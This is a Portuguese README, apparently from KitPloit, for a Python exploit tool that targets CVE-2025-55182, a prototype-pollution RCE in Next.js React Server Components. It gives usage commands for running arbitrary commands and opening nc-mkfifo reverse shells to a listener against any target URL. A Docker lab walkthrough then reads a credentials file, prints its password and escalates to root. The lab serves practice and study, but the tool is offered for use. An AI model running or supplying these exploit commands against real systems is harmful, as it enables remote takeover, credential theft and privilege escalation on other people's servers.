Exploit de RCE em React Server Components do Next.js

Explora a CVE-2025-55182 para execução remota de código por meio de poluição de protótipo.

Autor: Severian N.K.

Descrição

Esta ferramenta explora uma vulnerabilidade de poluição de protótipo em aplicações Next.js que utilizam React Server Components, resultando em Execução Remota de Código (RCE). Ela suporta tanto execução direta de comandos quanto shells reversos.

Instalação

Este projeto utiliza um ambiente virtual Python para gerenciar as dependências. Primeiro, certifique-se de ter o Python 3 instalado.

1. Configure o ambiente virtual:

   root@kitploit:~

   python3 -m venv venv
   

2. Ative o ambiente e instale as dependências:

   root@kitploit:~

   source venv/bin/activate
   pip install -r requirements.txt
   

Uso

Certifique-se de que o ambiente virtual esteja ativado (source venv/bin/activate) antes de executar o exploit.

Execução de Comandos

Para executar um único comando no alvo:

python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"

Exemplo:

python3 exploit.py -u http://example.com -c "id"

Shell Reverso

Para obter um shell reverso do alvo:

python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>

Exemplo:

python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo

Ambiente de Laboratório

O diretório lab/ contém dois ambientes Docker independentes:

1. Aplicativo Vulnerável (lab/vulnerable): Executando na porta 3000.
2. Aplicativo Corrigido (lab/patched): Executando na porta 3001.

1. Configurar o Aplicativo Vulnerável

cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh

Acesse em: http://localhost:3000

2. Configurar o Aplicativo Corrigido

cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh

Acesse em: http://localhost:3001

3. Testar o Shell Reverso

Você deve especificar o IP do seu listener (--lhost) e a porta (--lport). Você pode encontrar o IP da ponte Docker com ip addr show docker0 (geralmente 172.17.0.1).

python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo

Nota: Usamos -P nc-mkfifo porque o alvo está executando Alpine Linux, que exige um tipo específico de payload.

Etapa 2: Acessar os Segredos

O contêiner vulnerável expõe um arquivo secreto.

python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Saída: manager:SuperSecret2025!

Etapa 3: Escalação de Privilégios

Você pode escalar de nextjs para root usando as credenciais comprometidas.

1. Trocar de usuário: su - manager (Senha: SuperSecret2025!)
2. Tornar-se root: sudo su (Senha: SuperSecret2025!)
3. Capturar a flag:
   root@kitploit:~

   cat /root/flag.txt
   # Saída: Congratulations! You have gained full control over the system!
   

Referências

• Análise Técnica (Gist)
• Laboratório Prático (TryHackMe)

Contribuindo

Contribuições são bem-vindas! Se você encontrar um bug ou tiver uma ideia de melhoria, abra uma issue ou envie um pull request.